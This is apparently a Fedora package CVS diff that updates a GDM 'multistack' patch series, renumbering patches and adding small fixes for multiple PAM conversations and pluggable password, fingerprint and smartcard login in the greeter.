 b/gui/simple-greeter/gdm-greeter-plugin.h                            |   61 
 b/gui/simple-greeter/gdm-greeter-session.c                           |    5 
 b/gui/simple-greeter/gdm-plugin-manager.c                            |  478 +++
 b/gui/simple-greeter/gdm-plugin-manager.h                            |   66 
 b/gui/simple-greeter/gdm-task-list.c                                 |  198 +
 b/gui/simple-greeter/gdm-task-list.h                                 |   65 
 b/gui/simple-greeter/gdm-user-chooser-widget.c                       |    2 
 b/gui/simple-greeter/libgdmsimplegreeter/Makefile.am                 |   46 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c          |  147 +
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h          |   87 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.c     |   93 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.h     |   55 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                  |  117 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                  |   62 
 b/gui/simple-greeter/libgdmsimplegreeter/gdmsimplegreeter.pc.in      |   11 
 b/gui/simple-greeter/plugins/Makefile.am                             |    1 
 b/gui/simple-greeter/plugins/fingerprint/Makefile.am                 |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c |  299 ++
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.h |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint.pam         |   17 
 b/gui/simple-greeter/plugins/fingerprint/icons/16x16/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/48x48/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/Makefile.am           |    1 
 b/gui/simple-greeter/plugins/fingerprint/page.ui                     |   56 
 b/gui/simple-greeter/plugins/fingerprint/plugin.c                    |   41 
 b/gui/simple-greeter/plugins/password/Makefile.am                    |   53 
 b/gui/simple-greeter/plugins/password/gdm-password-extension.c       |  314 ++
 b/gui/simple-greeter/plugins/password/gdm-password-extension.h       |   56 
 b/gui/simple-greeter/plugins/password/gdm-password.pam               |   19 
 b/gui/simple-greeter/plugins/password/page.ui                        |   56 
 b/gui/simple-greeter/plugins/password/plugin.c                       |   40 
 b/gui/simple-greeter/plugins/smartcard/Makefile.am                   |   77 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c     |  418 ++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.h     |   56 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.c       | 1394 ++++++++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.h       |   86 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-worker.c        |  167 +
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.c               |  558 ++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.h               |   94 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.pam             |   18 
 b/gui/simple-greeter/plugins/smartcard/icons/16x16/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/48x48/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/Makefile.am             |    1 
 b/gui/simple-greeter/plugins/smartcard/page.ui                       |   56 
 b/gui/simple-greeter/plugins/smartcard/plugin.c                      |   40 
 b/po/POTFILES.in                                                     |    2 
 configure.ac                                                         |   15 
 daemon/gdm-factory-slave.c                                           |  103 
 daemon/gdm-greeter-server.c                                          |  187 +
 daemon/gdm-greeter-server.h                                          |   19 
 daemon/gdm-product-slave.c                                           |  263 +
 daemon/gdm-session-direct.c                                          | 1124 +++++---
 daemon/gdm-session-private.h                                         |   29 
 daemon/gdm-session-relay.c                                           |  190 +
 daemon/gdm-session-worker-job.c                                      |   73 
 daemon/gdm-session-worker-job.h                                      |    6 
 daemon/gdm-session-worker.c                                          |   20 
 daemon/gdm-session.c                                                 |  229 +
 daemon/gdm-session.h                                                 |   59 
 daemon/gdm-simple-slave.c                                            |  223 +
 daemon/test-session.c                                                |   22 
 gui/simple-greeter/Makefile.am                                       |   15 
 gui/simple-greeter/gdm-chooser-widget.c                              |    9 
 gui/simple-greeter/gdm-chooser-widget.h                              |    3 
 gui/simple-greeter/gdm-greeter-client.c                              |  209 +
 gui/simple-greeter/gdm-greeter-client.h                              |   18 
 gui/simple-greeter/gdm-greeter-login-window.c                        | 1101 ++++++-
 gui/simple-greeter/gdm-greeter-login-window.glade                    |  144 -
 gui/simple-greeter/gdm-greeter-login-window.h                        |   21 
 gui/simple-greeter/gdm-greeter-session.c                             |  133 
 gui/simple-greeter/gdm-task-list.c                                   |  228 +
 gui/simple-greeter/gdm-task-list.h                                   |   36 
 gui/simple-greeter/gdm-user-chooser-widget.c                         |   32 
 gui/simple-greeter/libgdmsimplegreeter/Makefile.am                   |    2 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c            |   51 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h            |   13 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                    |    6 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                    |    2 
 gui/simple-greeter/plugins/Makefile.am                               |    4 
 gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c   |   10 
 gui/simple-greeter/plugins/password/gdm-password-extension.c         |    7 
 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c       |   35 
 po/POTFILES.in                                                       |    2 
 108 files changed, 9619 insertions(+), 1271 deletions(-)

Index: gdm-multistack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-multistack.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gdm-multistack.patch	23 Oct 2009 16:55:46 -0000	1.3
+++ gdm-multistack.patch	26 Oct 2009 14:39:58 -0000	1.4
@@ -1,7 +1,8 @@
+
 From dfa6b8d5ed60552f435c34c47bc45089fa3eef48 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 13:52:19 -0500
-Subject: [PATCH 06/48] Add a comment marking protected api in chooser
+Subject: [PATCH 07/53] Add a comment marking protected api in chooser
 
 The chooser widget has methods that only its
 subclasses are supposed to call.  We should
@@ -24,13 +25,13 @@ index 578e613..7e3e59c 100644
  
  G_END_DECLS
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
 From 7b4e38d04e246d7dc4c446ed2a3c69fcc67257cb Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 17:44:37 -0500
-Subject: [PATCH 07/48] Drop duplicated entry introspection output
+Subject: [PATCH 08/53] Drop duplicated entry introspection output
 
 ---
  daemon/gdm-greeter-server.c |    1 -
@@ -49,13 +50,13 @@ index 2e01d33..cecce83 100644
                                 "    </signal>\n"
                                 "    <signal name=\"TimedLoginRequested\">\n"
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
 From 8d5ddd913f13581df1662730745c1d906772185e Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 10:07:03 -0500
-Subject: [PATCH 08/48] Make lookup_item not warn when passing NULL for args
+Subject: [PATCH 09/53] Make lookup_item not warn when passing NULL for args
 
 gtk_tree_model_get doesn't like NULL, and we allow
 NULL for optional return values.
@@ -110,13 +111,13 @@ index 2875456..cbd5072 100644
          return TRUE;
  }
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
 From 57a0d19b8b1e5e7a2132b15ea2c536207b61f80f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 15:35:00 -0500
-Subject: [PATCH 09/48] Drop "stopped" signal from worker-job class
+Subject: [PATCH 10/53] Drop "stopped" signal from worker-job class
 
 It was unused, dead code.
 ---
@@ -206,14 +207,14 @@ index d42eb37..5ad1c92 100644
                                      int                   exit_code);
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
 
 From 98b3621d59550909f9d837e94d3cb15d20730f30 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 13 May 2009 13:43:33 -0400
-Subject: [PATCH 11/48] Don't send auth-failed when worker dies
+Subject: [PATCH 12/53] Don't send auth-failed when worker dies
 
 Authentication hasn't failed, it just got aborted before it
 could.  This prevents a crash that happens when switching
@@ -281,15 +282,41 @@ index b6abae4..8eadf4d 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
+
 
+From c3d7aa8a30e643ee6068220abd3209b6bbdc6c1a Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 23 Oct 2009 17:40:36 -0400
+Subject: [PATCH 20/53] Don't set has_other_user to FALSE in ctor
 
+It's initialized to FALSE anyway, and we were
+setting it too late.
+---
+ gui/simple-greeter/gdm-user-chooser-widget.c |    1 -
+ 1 files changed, 0 insertions(+), 1 deletions(-)
 
+diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
+index 167e324..77e06a7 100644
+--- a/gui/simple-greeter/gdm-user-chooser-widget.c
++++ b/gui/simple-greeter/gdm-user-chooser-widget.c
+@@ -549,7 +549,6 @@ gdm_user_chooser_widget_constructor (GType                  type,
+                                                                                                               n_construct_properties,
+                                                                                                               construct_properties));
+ 
+-        widget->priv->has_user_other = FALSE;
+         widget->priv->show_normal_users = !is_user_list_disabled (widget);
+ 
+         widget->priv->load_idle_id = g_idle_add ((GSourceFunc)load_users, widget);
+-- 
+1.6.5.1
 
-From b8b6b84593eef0b1017c794e2c0f8be71d2e4430 Mon Sep 17 00:00:00 2001
+
+
+From 2864b1cd3300eabd82ed0e75fd6a7c963099b1c3 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 11:00:08 -0500
-Subject: [PATCH 19/48] Drop session "Open" in favor of "StartConversation"
+Subject: [PATCH 22/53] Drop session "Open" in favor of "StartConversation"
 
 We want to eventually support having multiple
 simultaneous PAM conversations in one login
@@ -1488,13 +1515,13 @@ index c6a158c..d9fa26e 100644
                  g_signal_connect (session,
                                    "setup-complete",
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 842ab915bec7765c04503a1737bbaf0389b21068 Mon Sep 17 00:00:00 2001
+From 8171ce2967b38807851aa0137142eb03806744bb Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Feb 2009 10:55:03 -0500
-Subject: [PATCH 20/48] Rename session worker to the service it's managing
+Subject: [PATCH 23/53] Rename session worker to the service it's managing
 
 This way when we're running multiple PAM conversations at once
 it will be obvious which worker is managing which conversation.
@@ -1677,13 +1704,13 @@ index d24f025..4833f23 100644
  
  GPid                    gdm_session_worker_job_get_pid            (GdmSessionWorkerJob *session_worker_job);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 21c1bc991ae19fa6fbf9f7b17ee4953d951896f0 Mon Sep 17 00:00:00 2001
+From 1e533b06380bf7c5a32ae9b472f96f1a67e9c6da Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 13:01:48 -0500
-Subject: [PATCH 21/48] Make greeter explicitly request PAM conversation
+Subject: [PATCH 24/53] Make greeter explicitly request PAM conversation
 
 Now the greeter has to say what PAM stack it wants the slave to
 run.  When that stack is ready, we emit the Ready signal as
@@ -2023,13 +2050,13 @@ index e7d206a..cd0cbdf 100644
  
          return res;
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From a5ff276de4b0bdefd5f77f1babf7c1a4319109f0 Mon Sep 17 00:00:00 2001
+From b1a09fe70f645641f4e88564b468ef1911d5bd48 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 16 Jan 2009 15:18:31 -0500
-Subject: [PATCH 22/48] Store multiple conversations in the session
+Subject: [PATCH 25/53] Store multiple conversations in the session
 
 We keep multiple conversations in the session now, keyed off of
 PAM service is at the other end.  Much of the guts still
@@ -2281,13 +2308,13 @@ index 51ecf39..b86475c 100644
  
  char *
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 58cc408e2f080fc2787f44624d0267248e2000d3 Mon Sep 17 00:00:00 2001
+From 5d1c8fa1d1874adbef0587827caad7d09916a4ee Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 4 Mar 2009 22:09:21 -0500
-Subject: [PATCH 23/48] start autologin conversation when creating session if necessary
+Subject: [PATCH 26/53] start autologin conversation when creating session if necessary
 
 Without this autologin breaks, since when it comes time to
 autologin, there's no worker to do it.
@@ -2319,13 +2346,13 @@ index 8863fd4..4db7440 100644
          } else {
                  if (slave->priv->connection_attempts >= MAX_CONNECT_ATTEMPTS) {
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 17e530f18b91d47e98f4ef6dae0882d52ca476e0 Mon Sep 17 00:00:00 2001
+From a7d9baab98651d5a36b674c5dd5745bdd980918d Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 22 Jan 2009 08:52:01 -0500
-Subject: [PATCH 24/48] Propagate service name to more layers
+Subject: [PATCH 27/53] Propagate service name to more layers
 
 This is more prep work to get multiple concurrent
 PAM stacks going.
@@ -2334,7 +2361,7 @@ PAM stacks going.
  daemon/gdm-greeter-server.c              |  120 ++++++--
  daemon/gdm-greeter-server.h              |   17 +-
  daemon/gdm-product-slave.c               |  233 ++++++++++++---
- daemon/gdm-session-direct.c              |  470 +++++++++++++++++-------------
+ daemon/gdm-session-direct.c              |  472 +++++++++++++++++-------------
  daemon/gdm-session-private.h             |   22 ++-
  daemon/gdm-session-relay.c               |  122 ++++++--
  daemon/gdm-session-worker.c              |   27 ++
@@ -2345,7 +2372,7 @@ PAM stacks going.
  gui/simple-greeter/gdm-greeter-client.c  |  188 ++++++++++---
  gui/simple-greeter/gdm-greeter-client.h  |   16 +-
  gui/simple-greeter/gdm-greeter-session.c |   11 +-
- 15 files changed, 1123 insertions(+), 453 deletions(-)
+ 15 files changed, 1125 insertions(+), 453 deletions(-)
 
 diff --git a/daemon/gdm-factory-slave.c b/daemon/gdm-factory-slave.c
 index d1bb5dd..826612e 100644
@@ -3347,7 +3374,7 @@ index 15a2820..dd2e1bc 100644
  
  static void
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index b86475c..26e4c2e 100644
+index b86475c..1c151fd 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
 @@ -83,10 +83,10 @@ struct _GdmSessionDirectPrivate
@@ -4188,7 +4215,16 @@ index b86475c..26e4c2e 100644
  }
  
  static gboolean
-@@ -1750,10 +1799,6 @@ gdm_session_direct_start_conversation (GdmSession *session,
+@@ -1725,6 +1774,8 @@ stop_conversation (GdmSessionConversation *conversation)
+                                               conversation);
+ 
+         if (conversation->worker_connection != NULL) {
++                dbus_connection_remove_filter (conversation->worker_connection, on_message, session);
++
+                 dbus_connection_close (conversation->worker_connection);
+                 conversation->worker_connection = NULL;
+         }
+@@ -1750,10 +1801,6 @@ gdm_session_direct_start_conversation (GdmSession *session,
  
          g_hash_table_insert (impl->priv->conversations,
                               g_strdup (service_name), conversation);
@@ -4199,7 +4235,7 @@ index b86475c..26e4c2e 100644
  }
  
  static void
-@@ -1904,45 +1949,50 @@ gdm_session_direct_setup_for_user (GdmSession *session,
+@@ -1904,45 +1951,50 @@ gdm_session_direct_setup_for_user (GdmSession *session,
  }
  
  static void
@@ -4263,7 +4299,7 @@ index b86475c..26e4c2e 100644
          switch (cred_flag) {
          case GDM_SESSION_CRED_ESTABLISH:
                  send_dbus_void_signal (conversation, "EstablishCredentials");
-@@ -1956,13 +2006,12 @@ gdm_session_direct_accredit (GdmSession *session,
+@@ -1956,13 +2008,12 @@ gdm_session_direct_accredit (GdmSession *session,
  }
  
  static void
@@ -4280,7 +4316,7 @@ index b86475c..26e4c2e 100644
  
          message = dbus_message_new_signal (GDM_SESSION_DBUS_PATH,
                                             GDM_SESSION_DBUS_INTERFACE,
-@@ -1972,7 +2021,6 @@ send_environment_variable (const char       *key,
+@@ -1972,7 +2023,6 @@ send_environment_variable (const char       *key,
          dbus_message_iter_append_basic (&iter, DBUS_TYPE_STRING, &key);
          dbus_message_iter_append_basic (&iter, DBUS_TYPE_STRING, &value);
  
@@ -4288,7 +4324,7 @@ index b86475c..26e4c2e 100644
          if (! send_dbus_message (conversation, message)) {
                  g_debug ("GdmSessionDirect: Could not send %s signal", "SetEnvironmentVariable");
          }
-@@ -1981,12 +2029,13 @@ send_environment_variable (const char       *key,
+@@ -1981,12 +2031,13 @@ send_environment_variable (const char       *key,
  }
  
  static void
@@ -4304,7 +4340,7 @@ index b86475c..26e4c2e 100644
  }
  
  static const char *
-@@ -2103,7 +2152,8 @@ setup_session_environment (GdmSessionDirect *session)
+@@ -2103,7 +2154,8 @@ setup_session_environment (GdmSessionDirect *session)
  }
  
  static void
@@ -4314,7 +4350,7 @@ index b86475c..26e4c2e 100644
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
          GdmSessionConversation *conversation;
-@@ -2117,10 +2167,11 @@ gdm_session_direct_start_session (GdmSession *session)
+@@ -2117,10 +2169,11 @@ gdm_session_direct_start_session (GdmSession *session)
          program = g_strdup_printf (GDMCONFDIR "/Xsession \"%s\"", command);
          g_free (command);
  
@@ -4328,7 +4364,7 @@ index b86475c..26e4c2e 100644
          send_dbus_string_signal (conversation, "StartProgram", program);
          g_free (program);
  }
-@@ -2166,6 +2217,11 @@ gdm_session_direct_close (GdmSession *session)
+@@ -2166,6 +2219,11 @@ gdm_session_direct_close (GdmSession *session)
  
          stop_all_conversations (impl);
  
@@ -4340,7 +4376,7 @@ index b86475c..26e4c2e 100644
          g_free (impl->priv->selected_user);
          impl->priv->selected_user = NULL;
  
-@@ -2198,6 +2254,7 @@ gdm_session_direct_close (GdmSession *session)
+@@ -2198,6 +2256,7 @@ gdm_session_direct_close (GdmSession *session)
  
  static void
  gdm_session_direct_answer_query  (GdmSession *session,
@@ -4348,7 +4384,7 @@ index b86475c..26e4c2e 100644
                                    const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
-@@ -2205,7 +2262,7 @@ gdm_session_direct_answer_query  (GdmSession *session,
+@@ -2205,7 +2264,7 @@ gdm_session_direct_answer_query  (GdmSession *session,
  
          g_return_if_fail (session != NULL);
  
@@ -4357,7 +4393,7 @@ index b86475c..26e4c2e 100644
  
          answer_pending_query (conversation, text);
  }
-@@ -2231,7 +2288,8 @@ gdm_session_direct_select_session (GdmSession *session,
+@@ -2231,7 +2290,8 @@ gdm_session_direct_select_session (GdmSession *session,
                                     const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
@@ -4367,7 +4403,7 @@ index b86475c..26e4c2e 100644
  
          g_free (impl->priv->selected_session);
  
-@@ -2241,9 +2299,15 @@ gdm_session_direct_select_session (GdmSession *session,
+@@ -2241,9 +2301,15 @@ gdm_session_direct_select_session (GdmSession *session,
                  impl->priv->selected_session = g_strdup (text);
          }
  
@@ -4386,7 +4422,7 @@ index b86475c..26e4c2e 100644
  }
  
  static void
-@@ -2251,7 +2315,8 @@ gdm_session_direct_select_language (GdmSession *session,
+@@ -2251,7 +2317,8 @@ gdm_session_direct_select_language (GdmSession *session,
                                      const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
@@ -4396,7 +4432,7 @@ index b86475c..26e4c2e 100644
  
          g_free (impl->priv->selected_language);
  
-@@ -2261,9 +2326,15 @@ gdm_session_direct_select_language (GdmSession *session,
+@@ -2261,9 +2328,15 @@ gdm_session_direct_select_language (GdmSession *session,
                  impl->priv->selected_language = g_strdup (text);
          }
  
@@ -4415,7 +4451,7 @@ index b86475c..26e4c2e 100644
  }
  
  static void
-@@ -2271,7 +2342,8 @@ gdm_session_direct_select_layout (GdmSession *session,
+@@ -2271,7 +2344,8 @@ gdm_session_direct_select_layout (GdmSession *session,
                                    const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
@@ -4425,7 +4461,7 @@ index b86475c..26e4c2e 100644
  
          g_free (impl->priv->selected_layout);
  
-@@ -2281,9 +2353,15 @@ gdm_session_direct_select_layout (GdmSession *session,
+@@ -2281,9 +2355,15 @@ gdm_session_direct_select_layout (GdmSession *session,
                  impl->priv->selected_layout = g_strdup (text);
          }
  
@@ -6324,13 +6360,13 @@ index cd0cbdf..e856dd4 100644
  
  static int
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 0da23146a01fe3664b610bb92e68f289912df6a1 Mon Sep 17 00:00:00 2001
+From 37d0aae4df27dacac5f2720ba5dc2698a03ae04c Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 11:36:40 -0500
-Subject: [PATCH 25/48] emit "ConversationStopped" signal at end of conv
+Subject: [PATCH 28/53] emit "ConversationStopped" signal at end of conv
 
 This will allow us to track when individual
 PAM conversations fail, instead of doing one
@@ -6401,14 +6437,14 @@ index 6d0dd87..976f0b7 100644
                                                                const char       *text);
  void                gdm_greeter_server_default_language_name_changed (GdmGreeterServer *greeter_server,
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index 26e4c2e..f44c88c 100644
+index 1c151fd..dc8b4f6 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
 @@ -1697,9 +1697,15 @@ worker_exited (GdmSessionWorkerJob *job,
  {
          g_debug ("GdmSessionDirect: Worker job exited: %d", code);
  
-+        g_object_ref (conversation);
++        g_object_ref (conversation->job);
          if (conversation->session->priv->is_running) {
                  _gdm_session_session_exited (GDM_SESSION (conversation->session), code);
          }
@@ -6416,7 +6452,7 @@ index 26e4c2e..f44c88c 100644
 +        g_debug ("GdmSessionDirect: Emitting conversation-stopped signal");
 +        _gdm_session_conversation_stopped (GDM_SESSION (conversation->session),
 +                                           conversation->service_name);
-+        g_object_unref (conversation);
++        g_object_unref (conversation->job);
  }
  
  static void
@@ -6424,7 +6460,7 @@ index 26e4c2e..f44c88c 100644
  {
          g_debug ("GdmSessionDirect: Worker job died: %d", signum);
  
-+        g_object_ref (conversation);
++        g_object_ref (conversation->job);
          if (conversation->session->priv->is_running) {
                  _gdm_session_session_died (GDM_SESSION (conversation->session), signum);
          }
@@ -6432,11 +6468,11 @@ index 26e4c2e..f44c88c 100644
 +        g_debug ("GdmSessionDirect: Emitting conversation-stopped signal");
 +        _gdm_session_conversation_stopped (GDM_SESSION (conversation->session),
 +                                           conversation->service_name);
-+        g_object_unref (conversation);
++        g_object_unref (conversation->job);
  }
  
  static GdmSessionConversation *
-@@ -1782,6 +1794,10 @@ stop_conversation (GdmSessionConversation *conversation)
+@@ -1784,6 +1796,10 @@ stop_conversation (GdmSessionConversation *conversation)
  
          g_object_unref (conversation->job);
          conversation->job = NULL;
@@ -6447,7 +6483,7 @@ index 26e4c2e..f44c88c 100644
  }
  
  static void
-@@ -1802,6 +1818,25 @@ gdm_session_direct_start_conversation (GdmSession *session,
+@@ -1804,6 +1820,25 @@ gdm_session_direct_start_conversation (GdmSession *session,
  }
  
  static void
@@ -6473,7 +6509,7 @@ index 26e4c2e..f44c88c 100644
  send_setup (GdmSessionDirect *session,
              const char       *service_name)
  {
-@@ -2621,6 +2656,7 @@ static void
+@@ -2623,6 +2658,7 @@ static void
  gdm_session_iface_init (GdmSessionIface *iface)
  {
          iface->start_conversation = gdm_session_direct_start_conversation;
@@ -6667,13 +6703,38 @@ index 9421a64..6eadf62 100644
                            G_CALLBACK (on_session_setup_complete),
                            slave);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 5e7249e98b90ad1145aa964273ac821ec0282cb0 Mon Sep 17 00:00:00 2001
+From a8f8cb3bb02437372bf25e2c2fc709b1bd77feda Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Mon, 26 Oct 2009 10:17:49 -0400
+Subject: [PATCH 29/53] init session pid to -1
+
+---
+ daemon/gdm-session-direct.c |    1 -
+ 1 files changed, 0 insertions(+), 1 deletions(-)
+
+diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
+index dc8b4f6..e0b5f32 100644
+--- a/daemon/gdm-session-direct.c
++++ b/daemon/gdm-session-direct.c
+@@ -2285,7 +2285,6 @@ gdm_session_direct_close (GdmSession *session)
+ 
+         g_hash_table_remove_all (impl->priv->environment);
+ 
+-        impl->priv->session_pid = -1;
+         impl->priv->is_running = FALSE;
+ }
+ 
+-- 
+1.6.5.1
+
+
+From d5d86aeda45e249d12ea5d708aab78afdfe66053 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 9 Mar 2009 15:41:12 -0400
-Subject: [PATCH 26/48] Don't tear down greeter until pam_open_session finishes
+Subject: [PATCH 30/53] Don't tear down greeter until pam_open_session finishes
 
 Some PAM modules ask questions at that late stage of the game,
 and so we need a greeter to forward the questions on to the
@@ -6801,7 +6862,7 @@ index dd2e1bc..93d83a1 100644
                            "info",
                            G_CALLBACK (on_session_info),
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index f44c88c..b74c765 100644
+index e0b5f32..738267a 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
 @@ -940,6 +940,58 @@ gdm_session_direct_handle_problem (GdmSessionDirect *session,
@@ -6874,7 +6935,7 @@ index f44c88c..b74c765 100644
          } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "SessionStarted")) {
                  return gdm_session_direct_handle_session_started (session, conversation, message);
          } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "StartFailed")) {
-@@ -2187,6 +2243,19 @@ setup_session_environment (GdmSessionDirect *session)
+@@ -2189,6 +2245,19 @@ setup_session_environment (GdmSessionDirect *session)
  }
  
  static void
@@ -6894,7 +6955,7 @@ index f44c88c..b74c765 100644
  gdm_session_direct_start_session (GdmSession *session,
                                    const char *service_name)
  {
-@@ -2662,6 +2731,7 @@ gdm_session_iface_init (GdmSessionIface *iface)
+@@ -2663,6 +2732,7 @@ gdm_session_iface_init (GdmSessionIface *iface)
          iface->authenticate = gdm_session_direct_authenticate;
          iface->authorize = gdm_session_direct_authorize;
          iface->accredit = gdm_session_direct_accredit;
@@ -7246,13 +7307,13 @@ index 6eadf62..4c68974 100644
                            G_CALLBACK (on_session_info),
                            slave);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 7d76484539ab0f1352d6b4c14511a330798ca1a1 Mon Sep 17 00:00:00 2001
+From 4a07cc03227aa51b31de8e453d54104cc6fe913b Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 30 Jan 2009 23:57:31 -0500
-Subject: [PATCH 27/48] Add limited support for multiple pam stacks
+Subject: [PATCH 31/53] Add limited support for multiple pam stacks
 
 This hard codes 3 pam stacks and doesn't handle
 switching between them very well yet.
@@ -8003,13 +8064,13 @@ index 0000000..ade21b6
 +
 +#endif /* __GDM_TASK_LIST_H */
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 3dbbff5c47bb30e4c9087a855a7e1304962e8e2b Mon Sep 17 00:00:00 2001
+From 60a24b25f8e225b5549154581500c32b0a1d0575 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Mar 2009 11:19:40 -0500
-Subject: [PATCH 28/48] Create session settings object when first starting worker
+Subject: [PATCH 32/53] Create session settings object when first starting worker
 
 This is because one PAM module may complete before setup
 gets called on another, and when one completes *all* PAM
@@ -8041,13 +8102,13 @@ index 867ce67..9a9f364 100644
  
  static void
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 503324a841febee037ba8a91e47f1bc9c9278241 Mon Sep 17 00:00:00 2001
+From 68083faad5647737421a1a6e922812e9368d839a Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 5 Feb 2009 15:20:25 -0500
-Subject: [PATCH 29/48] Queue a greeter reset when the user clicks cancel
+Subject: [PATCH 33/53] Queue a greeter reset when the user clicks cancel
 
 ---
  daemon/gdm-simple-slave.c |   37 +++++++++++++++++++++++++++++++++++++
@@ -8180,13 +8241,13 @@ index 4c68974..337718b 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From fc7ff7b156213d86afd4ebd7651e2f0657759030 Mon Sep 17 00:00:00 2001
+From 1e91c1fef9d7308888143ffcf7358dc85e2c84e7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:23:48 -0500
-Subject: [PATCH 30/48] Add a plugin based extension system to greeter
+Subject: [PATCH 34/53] Add a plugin based extension system to greeter
 
 This allows plugins to drive which PAM conversations
 get run.  This commit just adds one plugin "password"
@@ -8197,7 +8258,7 @@ run.
  gui/simple-greeter/Makefile.am                     |   15 +
  gui/simple-greeter/gdm-greeter-client.c            |   21 +
  gui/simple-greeter/gdm-greeter-client.h            |    2 +
- gui/simple-greeter/gdm-greeter-login-window.c      |  679 ++++++++++++++++----
+ gui/simple-greeter/gdm-greeter-login-window.c      |  675 ++++++++++++++++----
  gui/simple-greeter/gdm-greeter-login-window.glade  |  144 +----
  gui/simple-greeter/gdm-greeter-login-window.h      |   21 +-
